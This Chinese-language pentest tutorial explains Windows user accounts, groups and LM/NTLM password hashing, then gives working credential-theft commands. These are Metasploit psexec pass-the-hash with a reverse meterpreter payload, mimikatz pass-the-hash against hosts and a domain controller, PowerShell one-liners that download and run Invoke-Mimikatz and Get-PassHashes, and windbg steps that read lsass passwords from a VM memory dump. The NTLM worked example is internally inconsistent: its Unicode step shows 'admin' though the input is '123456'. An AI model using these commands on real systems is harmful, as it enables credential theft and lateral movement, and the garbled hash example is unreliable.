目录
用户帐户
Windows 默认账户
Windows 内置用户账户
查看、创建和删除账户
组账户
内置组账户
组的查看、创建和删除
Windows中对用户密码的处理
LM-hash
NTLM-hash
哈希传递攻击(Pass-the-Hash,PtH)
MSF进行哈希传递攻击PtH
mimikatz进行哈希传递攻击PtH(工作组)
mimikatz进行哈希传递攻击PtH(域)
基于SAM文件的密码破解
使用 mimikatz 破解windows登录密码
使用PowerShell命令读取密码
从内存中读取密码
用户帐户是对计算机用户身份的标识,本地用户帐户、密码存在本地计算机上,只对本机有效,存储在本地安全帐户数据库 SAM 中,文件路径:C:\Windows\System32\config\SAM ,对应的进程:lsass.exe 。通过本地用户和组,可以为用户和组分配权利和权限,从而限制用户和组执行某些操作的能力。
当我们去进程管理里面杀死 lsass.exe 进程时,windows会提示遇到错误,然后关机。
查看用户的SID
用于特殊用途,一般不需更修改其权限
与windows组件关联的用户账户
使用命令查看、创建和删除账户
需要人为添加成员的内置组
administators 组内的用户,都具备系统管理员的权限,它们拥有对这台计算机最大的控制权限,可以执行整台计算机的管理任务。内置的系统管理员账号 Administrator 就是本地组的成员,而且无法将它从该组删除。如果这台计算机已加入域,则域的Domain Admins 会自动地加入到该计算机的Administrators组内。也就是说,域上的系统管理员在这台计算机上也具备着系统管理员的权限
Guests 组是提供给没有用户帐户但是需要访问本地计算机内资源的用户使用,该组的成员无法永久地改变其桌面的工作环境。该组最常见的默认成员为用户帐号Guest。
Power Users 组内的用户具备比Users组更多的权利,但是比Administrators组拥有的权利更少一些,例如,可以:创建、删除、更改本地用户帐户;创建、删除、管理本地计算机内的共享文件夹与共享打印机;自定义系统设置,例如更改计算机时间、关闭计算机等。但是不可以更改Administrators,无法夺取文件的所有权、无法备份与还原文件、无法安装删除与删除设备驱动程序、无法管理安全与审核日志。
Users 组内的成员只拥有一些基本的权利,例如运行应用程序,但是他们不能修改操作系统的设置、不能更改其它用户的数据、不能关闭服务器级的计算机。所有添加的本地用户帐户者自动属于Users组。如果这台计算机已经加入域,则域的Domain Users会自动地被加入到该计算机的Users组中。
Remote Desktop Users 组内的成员拥有远程桌面登录的权限。默认Administrators组内的成员都拥有远程桌面的权限。
动态包含成员的内置组
其成员由Windows程序“自动添加” ,Windows会根据用户的状态来决定用户所属的组 ,组内的成员也随之动态变化,无法修改
使用命令查看、创建和删除组
Windows系统使用两种方法对用户的密码进行哈希处理,它们分别是 LAN Manager(LM)哈希和 NT LAN Manager(NTLM)哈希。所谓哈希(hash),就是使用一种加密函数对其进行加密。这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。现在已经有了更新的 NTLMv2 以及 Kerberos 验证体系。Windows加密过的密码口令,我们称之为hash,Windows的系统密码hash默认情况下一般由两部分组成:第一部分是 LM-hash,第二部分是 NTLM-hash。在windows200以后的系统中,第一部分的 LM-hash 都是空值,因为LM-hash可以很容易的破解,所以windows2000之后这个值默认为空,所以第二部分的NTLM-hash才真正是用户密码的哈希值。
通常可从Windows系统中的SAM文件 和 域控的 NTDS.dit 文件中获得所有用户的hash,通过Mimikatz读取lsass.exe进程能获得已登录用户的NTLM hash
这个网站提供对密码转换成 LM-Hash 和 NTLM-Hash 的操作:https://asecuritysite.com/encryption/lmhash
LAN Manager(LM)哈希是Windows系统所用的第一种密码哈希算法。它只有唯一一个版本且一直用到了NT LAN Manager(NTLM)哈希的出现,NTLM哈希用于Windows 2000及其之后系统中。新版操作系统因兼容缘故仍然支持LM哈希算法。但是在 Windows Vista 和 Windows 7 开始,LM-hash是默认关闭的。
LM加密过程
注:自Windows2000以后的 windows 系统都是用 NTLM-hash 处理用户的密码
New Technology LAN Manager(NTLM)哈希算法是微软认可的另一种算法。Windows2000以后的 windows 系统都是用 NTLM-hash 处理用户的密码
NTLM加密过程
123456 -> hex(16进制编码) = 313233343536
313233343536 -> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634
在线NTLM加密的网站:NTLM密码加密计算器
如图,第三部分是LM-Hash,第四部分是NTLM-Hash。目前的LM-hash是空值,所以第四部分的NTLM-hash才是用户密码的哈希值。
有些时候,当我们获取到了某台主机的Administrator用户的LM-Hash和 NTLM-Hash ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 漏洞用MSF进行远程登录(哈希传递攻击)。(只能是administrator用户的LM-hash和NTLM-hash),这个利用跟工作组环境或者域环境无关。
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.27
msf exploit(psexec) > set rhost 192.168.10.14
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6 #这里LM和NTLM我们已经获取到了
msf exploit(psexec) > exploit
当我们获得了一台主机的NTLM哈希值,我们可以使用mimikatz对其进行哈希传递攻击。执行完命令后,会弹出cmd窗口。
#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:administrator /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9
#使用xie用户的NTLM哈希值进行攻击
sekurlsa::pth /user:xie /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9
在弹出的cmd窗口,我们直接可以连接该主机,并且查看该主机下的文件夹。
或者可以直接将该主机的C盘映射到本地的K盘。
非 administrator 用户权限不够!
注:只能在 mimikatz 弹出的cmd窗口才可以执行这些操作!
在域环境中,当我们获得了域内用户的NTLM哈希值,我们可以使用域内的一台主机用mimikatz对域控进行哈希传递攻击。执行完命令后,会弹出cmd窗口。前提是我们必须拥有域内任意一台主机的本地 administrator 权限和获得了域用户的NTLM哈希值
#使用域管理员administrator的NTLM哈希值对域控进行哈希传递攻击
sekurlsa::pth /user:administrator /domain:"xie.com" /ntlm:dbd621b8ed24eb627d32514476fac6c5
#使用域用户xie的NTLM哈希值对域控进行哈希传递攻击
sekurlsa::pth /user:xie /domain:"xie.com" /ntlm:329153f560eb329c0e1deea55e88a1e9
SAM文件即账号密码数据库文件。 当我们登录系统的时候,系统会自动地和 C:\Windows\System32\config\SAM 中的SAM文件自动校对,如发现此次密码与SAM文件中的加密数据符合时,你就会顺利登录;如果错误则无法登录。在系统运行期间,SAM文件一直是被占用的,是无法打开和编辑复制的,我们可以进入PE系统进行复制然后在利用软件进行密码的修改
注意:这样只能修改密码,并不能知道密码的明文
mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!
注:但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码了。
使用mimikatz读取域控上所有域用户的Hash值
注:得在域控上以域管理员身份执行mimikatz
读取密码明文
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
读取密码hash值
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
我们都知道虚拟机有拍摄快照的功能。拍摄快照的瞬间虚拟机就会把你当前的内存保存为一个文件,文件以 .vmem 结尾,该文件的大小就是你虚拟机的内存大小。我们现在要从快照内存中读取出密码。
首先,利用 Bin2Dmp将该内存文件转成dmp文件,
Bin2Dmp.exe "Windows 7 x64-381e3888.vmem" windows7.dmp
然后我们在 windbg 中载入该文件
依次在 kd> 中输入下面的命令
.symfix #设置符号路径
.reload #重新载入
.load D:\Cracer渗透工具包v3.0\Cracer渗透工具包v3.0\Cracer渗透工具\windows安全\mimikatz\x64\mimilib.dll #这个路径是你mimikatz的路径
!process 0 0 lsass.exe #查找lsass进程,并将该进程转到本机环境中
.process /r /p fffffa801ae19060 #这里的fffffa801ae19060 是上一步查找lsass进程的地址,注意替换
!mimikatz #载入mimikatz,读取密码
可以看到,已经读取出密码来了
链接: https://pan.baidu.com/s/1aofXft4YCSGEDEHQcgnCzw 提取码: p7vx
相关文章:Windows中的认证体系